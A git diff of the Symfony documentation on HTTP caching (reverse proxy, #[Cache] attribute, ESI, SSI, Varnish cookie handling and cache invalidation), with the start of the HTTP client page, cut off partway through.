-71,91 +61,67 @@ Symfony Reverse Proxy Symfony comes with a reverse proxy (i.e. gateway cache) written in PHP. :ref:`It's not a fully-featured reverse proxy cache like Varnish <http-cache-symfony-versus-varnish>`, -but is a great way to start. +but it is a great way to start. .. tip:: For details on setting up Varnish, see :doc:`/http_cache/varnish`. -To enable the proxy, first create a caching kernel:: +Use the ``framework.http_cache`` option to enable the proxy for the +:ref:`prod environment <configuration-environments>`: - // src/CacheKernel.php - namespace App; +.. configuration-block:: - use Symfony\Bundle\FrameworkBundle\HttpCache\HttpCache; + .. code-block:: yaml - class CacheKernel extends HttpCache - { - } + # config/packages/framework.yaml + when@prod: + framework: + http_cache: true -Modify the code of your front controller to wrap the default kernel into the -caching kernel: + .. code-block:: xml -.. code-block:: diff + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - // public/index.php + <when env="prod"> + <framework:config> + <!-- ... --> + <framework:http-cache enabled="true"/> + </framework:config> + </when> + </container> - + use App\CacheKernel; - use App\Kernel; + .. code-block:: php - // ... - $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']); - + // Wrap the default Kernel with the CacheKernel one in 'prod' environment - + if ('prod' === $kernel->getEnvironment()) { - + $kernel = new CacheKernel($kernel); - + } + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; - $request = Request::createFromGlobals(); - // ... + return static function (FrameworkConfig $framework, string $env): void { + if ('prod' === $env) { + $framework->httpCache()->enabled(true); + } + }; -The caching kernel will immediately act as a reverse proxy: caching responses +The kernel will immediately act as a reverse proxy: caching responses from your application and returning them to the client. -.. caution:: - - If you're using the :ref:`framework.http_method_override <configuration-framework-http_method_override>` - option to read the HTTP method from a ``_method`` parameter, see the - above link for a tweak you need to make. - -.. tip:: - - The cache kernel has a special ``getLog()`` method that returns a string - representation of what happened in the cache layer. In the development - environment, use it to debug and validate your cache strategy:: - - error_log($kernel->getLog()); - -The ``CacheKernel`` object has a sensible default configuration, but it can be -finely tuned via a set of options you can set by overriding the -:method:`Symfony\\Bundle\\FrameworkBundle\\HttpCache\\HttpCache::getOptions` -method:: - - // src/CacheKernel.php - namespace App; - - use Symfony\Bundle\FrameworkBundle\HttpCache\HttpCache; - - class CacheKernel extends HttpCache - { - protected function getOptions(): array - { - return [ - 'default_ttl' => 0, - // ... - ]; - } - } - -For a full list of the options and their meaning, see the -:method:`HttpCache::__construct() documentation <Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache::__construct>`. +The proxy has a sensible default configuration, but it can be +finely tuned via :ref:`a set of options <configuration-framework-http_cache>`. -When you're in debug mode (the second argument of ``Kernel`` constructor in the -front controller is ``true``), Symfony automatically adds an ``X-Symfony-Cache`` -header to the response. You can also use the ``trace_level`` config -option and set it to either ``none``, ``short`` or ``full`` to -add this information. +When in :ref:`debug mode <debug-mode>`, Symfony automatically adds an +``X-Symfony-Cache`` header to the response. You can also use the ``trace_level`` +config option and set it to either ``none``, ``short`` or ``full`` to add this +information. -``short`` will add the information for the master request only. +``short`` will add the information for the main request only. It's written in a concise way that makes it easy to record the information in your server log files. For example, in Apache you can use ``%{X-Symfony-Cache}o`` in ``LogFormat`` format statements. @@ -180,9 +146,6 @@ cache efficiency of your routes. be able to switch to something more robust - like Varnish - without any problems. See :doc:`How to use Varnish </http_cache/varnish>` -.. index:: - single: Cache; HTTP - .. _http-cache-introduction: Making your Responses HTTP Cacheable @@ -225,9 +188,6 @@ These four headers are used to help cache your responses via *two* different mod invaluable. Don't be put-off by the appearance of the spec - its contents are much more beautiful than its cover! -.. index:: - single: Cache; Expiration - .. _http-cache-expiration-intro: Expiration Caching @@ -235,24 +195,39 @@ Expiration Caching The *easiest* way to cache a response is by caching it for a specific amount of time:: - // src/Controller/BlogController.php - use Symfony\Component\HttpFoundation\Response; - // ... +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Controller/BlogController.php + use Symfony\Component\HttpKernel\Attribute\Cache; + // ... - public function index() - { - // somehow create a Response object, like by rendering a template - $response = $this->render('blog/index.html.twig', []); + #[Cache(public: true, maxage: 3600, mustRevalidate: true)] + public function index(): Response + { + return $this->render('blog/index.html.twig', []); + } - // cache publicly for 3600 seconds - $response->setPublic(); - $response->setMaxAge(3600); + .. code-block:: php - // (optional) set a custom Cache-Control directive - $response->headers->addCacheControlDirective('must-revalidate', true); + // src/Controller/BlogController.php + use Symfony\Component\HttpFoundation\Response; + + public function index(): Response + { + // somehow create a Response object, like by rendering a template + $response = $this->render('blog/index.html.twig', []); - return $response; - } + // cache publicly for 3600 seconds + $response->setPublic(); + $response->setMaxAge(3600); + + // (optional) set a custom Cache-Control directive + $response->headers->addCacheControlDirective('must-revalidate', true); + + return $response; + } Thanks to this new code, your HTTP response will have the following header: @@ -289,10 +264,6 @@ Finally, for more information about expiration caching, see :doc:`/http_cache/ex Validation Caching ~~~~~~~~~~~~~~~~~~ -.. index:: - single: Cache; Cache-Control header - single: HTTP headers; Cache-Control - With expiration caching, you say "cache for 3600 seconds!". But, when someone updates cached content, you won't see that content on your site until the cache expires. @@ -303,14 +274,11 @@ caching model. For details, see :doc:`/http_cache/validation`. -.. index:: - single: Cache; Safe methods - Safe Methods: Only caching GET or HEAD requests ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP caching only works for "safe" HTTP methods (like GET and HEAD). This means -two things: +three things: * Don't try to cache PUT or DELETE requests. It won't work and with good reason. These methods are meant to be used when mutating the state of your application @@ -325,9 +293,6 @@ two things: when responding to a GET or HEAD request. If those requests are cached, future requests may not actually hit your server. -.. index:: - pair: Cache; Configuration - More Response Methods ~~~~~~~~~~~~~~~~~~~~~ @@ -360,10 +325,9 @@ Additionally, most cache-related HTTP headers can be set via the single 'etag' => 'abcdef' ]); -.. versionadded:: 5.1 +.. tip:: - The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and - ``proxy_revalidate`` directives were introduced in Symfony 5.1. + All these options are also available when using the ``#[Cache]`` attribute. Cache Invalidation ------------------ @@ -422,7 +386,7 @@ Learn more http_cache/* -.. _`Things Caches Do`: https://2ndscale.com/writings/things-caches-do +.. _`Things Caches Do`: https://tomayko.com/blog/2008/things-caches-do .. _`Cache Tutorial`: https://www.mnot.net/cache_docs/ .. _`Varnish`: https://varnish-cache.org/ .. _`Squid in reverse proxy mode`: https://wiki.squid-cache.org/SquidFaq/ReverseProxy diff --git a/http_cache/_expiration-and-validation.rst.inc b/http_cache/_expiration-and-validation.rst.inc index 3ae2113e242..cb50cd6163e 100644 --- a/http_cache/_expiration-and-validation.rst.inc +++ b/http_cache/_expiration-and-validation.rst.inc @@ -5,10 +5,3 @@ both worlds. In other words, by using both expiration and validation, you can instruct the cache to serve the cached content, while checking back at some interval (the expiration) to verify that the content is still valid. - - .. tip:: - - You can also define HTTP caching headers for expiration and validation by using - annotations. See the `FrameworkExtraBundle documentation`_. - -.. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/cache.html diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst index 6c6dcf295a5..394c79aed42 100644 --- a/http_cache/cache_invalidation.rst +++ b/http_cache/cache_invalidation.rst @@ -1,6 +1,3 @@ -.. index:: - single: Cache; Invalidation - .. _http-cache-invalidation: Cache Invalidation @@ -17,7 +14,7 @@ cache lifetimes, but to actively notify the gateway cache when content changes. Reverse proxies usually provide a channel to receive such notifications, typically through special HTTP requests. -.. caution:: +.. warning:: While cache invalidation is powerful, avoid it when possible. If you fail to invalidate something, outdated caches will be served for a potentially @@ -47,8 +44,9 @@ the word "PURGE" is a convention, technically this can be any string) instead of ``GET`` and make the cache proxy detect this and remove the data from the cache instead of going to the application to get a response. -Here is how you can configure the Symfony reverse proxy (See :doc:`/http_cache`) -to support the ``PURGE`` HTTP method:: +Here is how you can configure the :ref:`Symfony reverse proxy <symfony-gateway-cache>` +to support the ``PURGE`` HTTP method. First create a caching kernel that overrides the +:method:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache::invalidate` method:: // src/CacheKernel.php namespace App; @@ -60,7 +58,7 @@ to support the ``PURGE`` HTTP method:: class CacheKernel extends HttpCache { - protected function invalidate(Request $request, bool $catch = false) + protected function invalidate(Request $request, bool $catch = false): Response { if ('PURGE' !== $request->getMethod()) { return parent::invalidate($request, $catch); @@ -84,14 +82,84 @@ to support the ``PURGE`` HTTP method:: } } -.. caution:: +Then, register the class as a service that :doc:`decorates </service_container/service_decoration>` +``http_cache``:: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/CacheKernel.php + namespace App; + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsDecorator; + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(bind: ['$surrogate' => '@?esi'])] + #[AsDecorator(decorates: 'http_cache')] + class CacheKernel extends HttpCache + { + // ... + } + + .. code-block:: yaml + + # config/services.yaml + services: + App\CacheKernel: + decorates: http_cache + arguments: + - '@kernel' + - '@http_cache.store' + - '@?esi' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd" + > + <services> + <service id="App\CacheKernel" decorates="http_cache"> + <argument type="service" id="kernel"/> + <argument type="service" id="http_cache.store"/> + <argument type="service" id="esi" on-invalid="null"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\CacheKernel; + + return function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(CacheKernel::class) + ->decorate('http_cache') + ->args([ + service('kernel'), + service('http_cache.store'), + service('esi')->nullOnInvalid(), + ]) + ; + }; + +.. danger:: You must protect the ``PURGE`` HTTP method somehow to avoid random people purging your cached data. **Purge** instructs the cache to drop a resource in *all its variants* (according to the ``Vary`` header, see :doc:`/http_cache/cache_vary`). An alternative to purging is -**refreshing** a content. Refreshing means that the caching proxy is +**refreshing** the content. Refreshing means that the caching proxy is instructed to discard its local cache and fetch the content again. This way, the new content is already available in the cache. The drawback of refreshing is that variants are not invalidated. diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst index 1dbbf9a0fc4..d4e1dcbc83e 100644 --- a/http_cache/cache_vary.rst +++ b/http_cache/cache_vary.rst @@ -1,7 +1,3 @@ -.. index:: - single: Cache; Vary - single: HTTP headers; Vary - Varying the Response for HTTP Cache =================================== @@ -32,14 +28,28 @@ trigger a different representation of the requested resource: resource based on the URI and the value of the ``Accept-Encoding`` and ``User-Agent`` request header. -The ``Response`` object offers a clean interface for managing the ``Vary`` -header:: +Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache]`` +attribute:: + +.. configuration-block:: + + .. code-block:: php-attributes + + // this attribute takes an array with the name of the header(s) + // names for which the response varies + use Symfony\Component\HttpKernel\Attribute\Cache; + // ... - // sets one vary header - $response->setVary('Accept-Encoding'); + #[Cache(vary: ['Accept-Encoding'])] + #[Cache(vary: ['Accept-Encoding', 'User-Agent'])] + public function index(): Response + { + // ... + } - // sets multiple vary headers - $response->setVary(['Accept-Encoding', 'User-Agent']); + .. code-block:: php -The ``setVary()`` method takes a header name or an array of header names for -which the response varies. + // this method takes a header name or an array of header names for + // which the response varies + $response->setVary('Accept-Encoding'); + $response->setVary(['Accept-Encoding', 'User-Agent']); diff --git a/http_cache/esi.rst b/http_cache/esi.rst index 621f604ea95..588cad424cd 100644 --- a/http_cache/esi.rst +++ b/http_cache/esi.rst @@ -1,7 +1,3 @@ -.. index:: - single: Cache; ESI - single: ESI - .. _edge-side-includes: Working with Edge Side Includes @@ -65,7 +61,7 @@ First, to use ESI, be sure to enable it in your application configuration: # config/packages/framework.yaml framework: # ... - esi: { enabled: true } + esi: true .. code-block:: xml @@ -88,10 +84,13 @@ First, to use ESI, be sure to enable it in your application configuration: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - // ... - 'esi' => ['enabled' => true], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->esi() + ->enabled(true) + ; + }; Now, suppose you have a page that is relatively static, except for a news ticker at the bottom of the content. With ESI, you can cache the news ticker @@ -99,11 +98,11 @@ independently of the rest of the page:: // src/Controller/DefaultController.php namespace App\Controller; - + // ... class DefaultController extends AbstractController { - public function about() + public function about(): Response { $response = $this->render('static/about.html.twig'); $response->setPublic(); @@ -156,28 +155,50 @@ used ``render()``. .. note:: - Symfony detects if a gateway cache supports ESI via another Akamai - specification that is supported out of the box by the Symfony reverse - proxy. + Symfony considers that a gateway cache supports ESI if its request include + the ``Surrogate-Capability`` HTTP header and the value of that header + contains the ``ESI/1.0`` string anywhere. The embedded action can now specify its own caching rules entirely independently -of the master page:: +of the main page:: - // src/Controller/NewsController.php - namespace App\Controller; +.. configuration-block:: - // ... - class NewsController extends AbstractController - { - public function latest($maxPerPage) + .. code-block:: php-attributes + + // src/Controller/NewsController.php + namespace App\Controller; + + use Symfony\Component\HttpKernel\Attribute\Cache; + // ... + + class NewsController extends AbstractController { - // ... - $response->setPublic(); - $response->setMaxAge(60); + #[Cache(smaxage: 60)] + public function latest(int $maxPerPage): Response + { + // ... + } + } - return $response; + .. code-block:: php + + // src/Controller/NewsController.php + namespace App\Controller; + + // ... + class NewsController extends AbstractController + { + public function latest(int $maxPerPage): Response + { + // ... + + // sets to public and adds some expiration + $response->setSharedMaxAge(60); + + return $response; + } } - } In this example, the embedded action is cached publicly too because the contents are the same for all requests. However, in other cases you may need to make this @@ -225,22 +246,26 @@ that must be enabled in your configuration: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { // ... - 'fragments' => ['path' => '/_fragment'], - ]); + $framework->fragments() + ->path('/_fragment') + ; + }; One great advantage of the ESI renderer is that you can make your application as dynamic as needed and at the same time, hit the application as little as possible. -.. caution:: +.. warning:: The fragment listener only responds to signed requests. Requests are only signed when using the fragment renderer and the ``render_esi`` Twig function. -The ``render_esi`` helper supports two other useful options: +The ``render_esi`` helper supports three other useful options: ``alt`` Used as the ``alt`` attribute on the ESI tag, which allows you to specify an @@ -251,4 +276,7 @@ The ``render_esi`` helper supports two other useful options: of ``continue`` indicating that, in the event of a failure, the gateway cache will remove the ESI tag silently. -.. _`ESI`: http://www.w3.org/TR/esi-lang +``absolute_uri`` + If set to true, an absolute URI will be generated. **default**: ``false`` + +.. _`ESI`: https://www.w3.org/TR/esi-lang/ diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst index d30893b58fe..d6beb777032 100644 --- a/http_cache/expiration.rst +++ b/http_cache/expiration.rst @@ -1,6 +1,3 @@ -.. index:: - single: Cache; HTTP expiration - HTTP Cache Expiration ===================== @@ -14,27 +11,38 @@ HTTP headers: ``Expires`` or ``Cache-Control``. .. include:: /http_cache/_expiration-and-validation.rst.inc -.. index:: - single: Cache; Cache-Control header - single: HTTP headers; Cache-Control - Expiration with the ``Cache-Control`` Header -------------------------------------------- Most of the time, you will use the ``Cache-Control`` header, which is used to specify many different cache directives:: - // sets the number of seconds after which the response - // should no longer be considered fresh by shared caches - $response->setPublic(); - $response->setMaxAge(600); +.. configuration-block:: + + .. code-block:: php-attributes + + use Symfony\Component\HttpKernel\Attribute\Cache; + // ... + + #[Cache(public: true, maxage: 600)] + public function index(): Response + { + // ... + } + + .. code-block:: php + + // sets the number of seconds after which the response + // should no longer be considered fresh by shared caches + $response->setPublic(); + $response->setMaxAge(600); The ``Cache-Control`` header would take on the following format (it may have additional directives): .. code-block:: text - Cache-Control: public, maxage=600 + Cache-Control: public, max-age=600 .. note:: @@ -45,10 +53,6 @@ additional directives): response in ``stale-if-error`` scenarios. That's why it's recommended to use both ``public`` and ``max-age`` directives. -.. index:: - single: Cache; Expires header - single: HTTP headers; Expires - Expiration with the ``Expires`` Header -------------------------------------- @@ -57,13 +61,28 @@ or disadvantage to either. According to the HTTP specification, "the ``Expires`` header field gives the date/time after which the response is considered stale." The ``Expires`` -header can be set with the ``setExpires()`` ``Response`` method. It takes a -``DateTime`` instance as an argument:: +header can be set with the ``expires`` option of the ``#[Cache]`` attribute or +the ``setExpires()`` ``Response`` method:: + +.. configuration-block:: + + .. code-block:: php-attributes + + use Symfony\Component\HttpKernel\Attribute\Cache; + // ... + + #[Cache(expires: '+600 seconds')] + public function index(): Response + { + // ... + } + + .. code-block:: php - $date = new DateTime(); - $date->modify('+600 seconds'); + $date = new DateTime(); + $date->modify('+600 seconds'); - $response->setExpires($date); + $response->setExpires($date); The resulting HTTP header will look like this: @@ -73,8 +92,8 @@ The resulting HTTP header will look like this: .. note:: - The ``setExpires()`` method automatically converts the date to the GMT - timezone as required by the specification. + The ``expires`` option and the ``setExpires()`` method automatically convert + the date to the GMT timezone as required by the specification. Note that in HTTP versions before 1.1 the origin server wasn't required to send the ``Date`` header. Consequently, the cache (e.g. the browser) might diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst index 94bab702db4..8b280bf75a6 100644 --- a/http_cache/ssi.rst +++ b/http_cache/ssi.rst @@ -1,7 +1,3 @@ -.. index:: - single: Cache; SSI - single: SSI - .. _server-side-includes: Working with Server Side Includes @@ -22,7 +18,7 @@ The SSI instructions are done via HTML comments: <!-- ... some content --> <!-- Embed the content of another page here --> - <!--#include virtual="http://..." --> + <!--#include virtual="/..." --> <!-- ... more content --> </body> @@ -31,9 +27,9 @@ The SSI instructions are done via HTML comments: There are some other `available directives`_ but Symfony manages only the ``#include virtual`` one. -.. caution:: +.. danger:: - Be careful with SSI, your website may be victim of injections. + Be careful with SSI, your website may fall victim to injections. Please read this `OWASP article`_ first! When the web server reads an SSI directive, it requests the given URI or gives @@ -76,36 +72,67 @@ First, to use SSI, be sure to enable it in your application configuration: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'ssi' => ['enabled' => true], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->ssi() + ->enabled(true) + ; + }; Suppose you have a page with private content like a Profile page and you want to cache a static GDPR content block. With SSI, you can add some expiration on this block and keep the page private:: - // src/Controller/ProfileController.php - namespace App\Controller; - - // ... - class ProfileController extends AbstractController - { - public function index(): Response +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Controller/ProfileController.php + namespace App\Controller; + + use Symfony\Component\HttpKernel\Attribute\Cache; + // ... + + class ProfileController extends AbstractController { - // by default, responses are private - return $this->render('profile/index.html.twig'); + public function index(): Response + { + // by default, responses are private + return $this->render('profile/index.html.twig'); + } + + #[Cache(smaxage: 600)] + public function gdpr(): Response + { + return $this->render('profile/gdpr.html.twig'); + } } - public function gdpr(): Response + .. code-block:: php + + // src/Controller/ProfileController.php + namespace App\Controller; + + // ... + class ProfileController extends AbstractController { - $response = $this->render('profile/gdpr.html.twig'); + public function index(): Response + { + // by default, responses are private + return $this->render('profile/index.html.twig'); + } + + public function gdpr(): Response + { + $response = $this->render('profile/gdpr.html.twig'); - // sets to public and adds some expiration - $response->setSharedMaxAge(600); + // sets to public and adds some expiration + $response->setSharedMaxAge(600); - return $response; + return $response; + } } - } The profile index page has not public caching, but the GDPR block has 10 minutes of expiration. Let's include this block into the main one: @@ -117,8 +144,8 @@ The profile index page has not public caching, but the GDPR block has {# you can use a controller reference #} {{ render_ssi(controller('App\\Controller\\ProfileController::gdpr')) }} - {# ... or a URL #} - {{ render_ssi(url('profile_gdpr')) }} + {# ... or a path (in server's SSI configuration is common to use relative paths instead of absolute URLs) #} + {{ render_ssi(path('profile_gdpr')) }} The ``render_ssi`` twig helper will generate something like: @@ -126,7 +153,7 @@ The ``render_ssi`` twig helper will generate something like: <!--#include virtual="/_fragment?_hash=abcdef1234&_path=_controller=App\Controller\ProfileController::gdpr" --> -``render_ssi`` ensures that SSI directive are generated only if the request +``render_ssi`` ensures that SSI directive is generated only if the request has the header requirement like ``Surrogate-Capability: device="SSI/1.0"`` (normally given by the web server). Otherwise it will embed directly the sub-response. diff --git a/http_cache/validation.rst b/http_cache/validation.rst index 3a1dabf902e..468296682a0 100644 --- a/http_cache/validation.rst +++ b/http_cache/validation.rst @@ -1,6 +1,3 @@ -.. index:: - single: Cache; Validation - HTTP Cache Validation ===================== @@ -9,7 +6,7 @@ data, the expiration model falls short. With the `expiration model`_, the application won't be asked to return the updated response until the cache finally becomes stale. -The validation model addresses this issue. Under this model, the cache continues +The `validation model`_ addresses this issue. Under this model, the cache continues to store responses. The difference is that, for each request, the cache asks the application if the cached response is still valid or if it needs to be regenerated. If the cache *is* still valid, your application should return a 304 status code @@ -31,10 +28,6 @@ to implement the validation model: ``ETag`` and ``Last-Modified``. .. include:: /http_cache/_expiration-and-validation.rst.inc -.. index:: - single: Cache; Etag header - single: HTTP headers; Etag - Validation with the ``ETag`` Header ----------------------------------- @@ -56,10 +49,11 @@ content:: use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; class DefaultController extends AbstractController { - public function homepage(Request $request) + public function homepage(Request $request): Response { $response = $this->render('static/homepage.html.twig'); $response->setEtag(md5($response->getContent())); @@ -106,14 +100,10 @@ doing so much work. .. tip:: - Symfony also supports weak ``ETag``s by passing ``true`` as the second + Symfony also supports weak ``ETag`` s by passing ``true`` as the second argument to the :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method. -.. index:: - single: Cache; Last-Modified header - single: HTTP headers; Last-Modified - Validation with the ``Last-Modified`` Header -------------------------------------------- @@ -138,7 +128,7 @@ header value:: class ArticleController extends AbstractController { - public function show(Article $article, Request $request) + public function show(Article $article, Request $request): Response { $author = $article->getAuthor(); @@ -174,10 +164,6 @@ response header. If they are equivalent, the ``Response`` will be set to a app. This is how the cache and server communicate with each other and decide whether or not the resource has been updated since it was cached. -.. index:: - single: Cache; Conditional get - single: HTTP; 304 - .. _optimizing-cache-validation: Optimizing your Code with Validation @@ -196,7 +182,7 @@ the better. The ``Response::isNotModified()`` method does exactly that:: class ArticleController extends AbstractController { - public function show($articleSlug, Request $request) + public function show(string $articleSlug, Request $request): Response { // Get the minimum information to compute // the ETag or the Last-Modified value @@ -235,6 +221,7 @@ headers that must not be present for ``304`` responses (see :method:`Symfony\\Component\\HttpFoundation\\Response::setNotModified`). .. _`expiration model`: https://tools.ietf.org/html/rfc2616#section-13.2 +.. _`validation model`: https://tools.ietf.org/html/rfc2616#section-13.3 .. _`HTTP ETag`: https://en.wikipedia.org/wiki/HTTP_ETag .. _`DeflateAlterETag`: https://httpd.apache.org/docs/trunk/mod/mod_deflate.html#deflatealteretag .. _`BrotliAlterETag`: https://httpd.apache.org/docs/2.4/mod/mod_brotli.html#brotlialteretag diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst index dd38b717ea8..6fcb7fd766b 100644 --- a/http_cache/varnish.rst +++ b/http_cache/varnish.rst @@ -1,6 +1,3 @@ -.. index:: - single: Cache; Varnish - How to Use Varnish to Speed up my Website ========================================= @@ -9,9 +6,6 @@ Because Symfony's cache uses the standard HTTP cache headers, the proxy. `Varnish`_ is a powerful, open-source, HTTP accelerator capable of serving cached content fast and including support for :doc:`Edge Side Includes </http_cache/esi>`. -.. index:: - single: Varnish; configuration - Make Symfony Trust the Reverse Proxy ------------------------------------ @@ -50,6 +44,12 @@ header. In this case, you need to add the following configuration snippet: } } +.. note:: + + Forcing HTTPS while using a reverse proxy or load balancer requires a proper + configuration to avoid infinite redirect loops; see :doc:`/deployment/proxies` + for more details. + Cookies and Caching ------------------- @@ -62,34 +62,39 @@ If you know for sure that the backend never uses sessions or basic authentication, have Varnish remove the corresponding header from requests to prevent clients from bypassing the cache. In practice, you will need sessions at least for some parts of the site, e.g. when using forms with -:doc:`CSRF Protection </security/csrf>`. In this situation, make sure to +:doc:`stateful CSRF Protection </security/csrf>`. In this situation, make sure to :ref:`only start a session when actually needed <session-avoid-start>` and clear the session when it is no longer needed. Alternatively, you can look into :ref:`caching pages that contain CSRF protected forms <caching-pages-that-contain-csrf-protected-forms>`. -Cookies created in JavaScript and used only in the frontend, e.g. when using -Google Analytics, are nonetheless sent to the server. These cookies are not -relevant for the backend and should not affect the caching decision. Configure -your Varnish cache to `clean the cookies header`_. You want to keep the -session cookie, if there is one, and get rid of all other cookies so that pages -are cached if there is no active session. Unless you changed the default -configuration of PHP, your session cookie has the name ``PHPSESSID``: +Cookies created in JavaScript and used only on the frontend, such as those from +Google Analytics, are still sent to the server. These cookies are not relevant +for backend processing and should not influence the caching logic. To ensure +this, configure your Varnish cache to `clean the cookies header`_ by retaining +only essential cookies (e.g., session cookies) and removing all others. This +allows pages to be cached when there is no active session. + +If you are using PHP with its default configuration, the session cookie is +typically named ``PHPSESSID``. Additionally, if your application depends on other +critical cookies, such as a ``REMEMBERME`` cookie for :doc:`remember me </security/remember_me>` +functionality or a trusted device cookie for two-factor authentication, these +cookies should also be preserved. .. configuration-block:: .. code-block:: varnish4 sub vcl_recv { - // Remove all cookies except the session ID. + // Remove all cookies except for essential ones. if (req.http.Cookie) { set req.http.Cookie = ";" + req.http.Cookie; set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";"); - set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1="); + set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1="); set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", ""); set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", ""); if (req.http.Cookie == "") { - // If there are no more cookies, remove the header to get page cached. + // If there are no more cookies, remove the header to get the page cached. unset req.http.Cookie; } } @@ -98,11 +103,11 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``: .. code-block:: varnish3 sub vcl_recv { - // Remove all cookies except the session ID. + // Remove all cookies except for essential ones. if (req.http.Cookie) { set req.http.Cookie = ";" + req.http.Cookie; set req.http.Cookie = regsuball(req.http.Cookie, "; +", ";"); - set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID)=", "; \1="); + set req.http.Cookie = regsuball(req.http.Cookie, ";(PHPSESSID|REMEMBERME)=", "; \1="); set req.http.Cookie = regsuball(req.http.Cookie, ";[^ ][^;]*", ""); set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", ""); @@ -213,9 +218,6 @@ Symfony adds automatically: behavior, those VCL functions already exist. Append the code to the end of the function, they won't interfere with each other. -.. index:: - single: Varnish; Invalidation - Cache Invalidation ------------------ @@ -234,9 +236,9 @@ proxy before it has expired, it adds complexity to your caching setup. Varnish and other reverse proxies for cache invalidation. .. _`Varnish`: https://varnish-cache.org/ -.. _`Edge Architecture`: http://www.w3.org/TR/edge-arch -.. _`clean the cookies header`: https://varnish-cache.org/trac/wiki/VCLExampleRemovingSomeCookies -.. _`Surrogate-Capability Header`: http://www.w3.org/TR/edge-arch +.. _`Edge Architecture`: https://www.w3.org/TR/edge-arch +.. _`clean the cookies header`: https://varnish-cache.org/docs/7.0/reference/vmod_cookie.html +.. _`Surrogate-Capability Header`: https://www.w3.org/TR/edge-arch .. _`cache invalidation`: https://tools.ietf.org/html/rfc2616#section-13.10 .. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.io/en/latest/features/user-context.html .. _`default.vcl`: https://github.com/varnishcache/varnish-cache/blob/3.0/bin/varnishd/default.vcl diff --git a/http_client.rst b/http_client.rst index a54e9b125a8..a1c8f09bc1d 100644 --- a/http_client.rst +++ b/http_client.rst @@ -1,7 +1,3 @@ -.. index:: - single: HttpClient - single: Components; HttpClient - HTTP Client =========== @@ -32,11 +28,9 @@ automatically when type-hinting for :class:`Symfony\\Contracts\\HttpClient\\Http class SymfonyDocs { - private $client; - - public function __construct(HttpClientInterface $client) - { - $this->client = $client; + public function __construct( + private HttpClientInterface $client, + ) { } public function fetchGitHubInformation(): array @@ -64,7 +58,10 @@ automatically when type-hinting for :class:`Symfony\\Contracts\\HttpClient\\Http use Symfony\Component\HttpClient\HttpClient; $client = HttpClient::create(); - $response = $client->request('GET', 'https://api.github.com/repos/symfony/symfony-docs'); + $response = $client->request( + 'GET', + 'https://api.github.com/repos/symfony/symfony-docs' + ); $statusCode = $response->getStatusCode(); // $statusCode = 200 @@ -116,20 +113,21 @@ You can configure the global options using the ``default_options`` option: <framework:config> <framework:http-client> <framework:default-options max-redirects="7"/> - </framework-http-client> + </framework:http-client> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'http_client' => [ - 'default_options' => [ - 'max_redirects' => 7, - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->httpClient() + ->defaultOptions() + ->maxRedirects(7) + ; + }; .. code-block:: php-standalone @@ -137,6 +135,33 @@ You can configure the global options using the ``default_options`` option: 'max_redirects' => 7, ]); +You can also use the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions` +method to retrieve a new instance of the client with new default options:: + + $this->client = $client->withOptions([ + 'base_uri' => 'https://...', + 'headers' => ['header-name' => 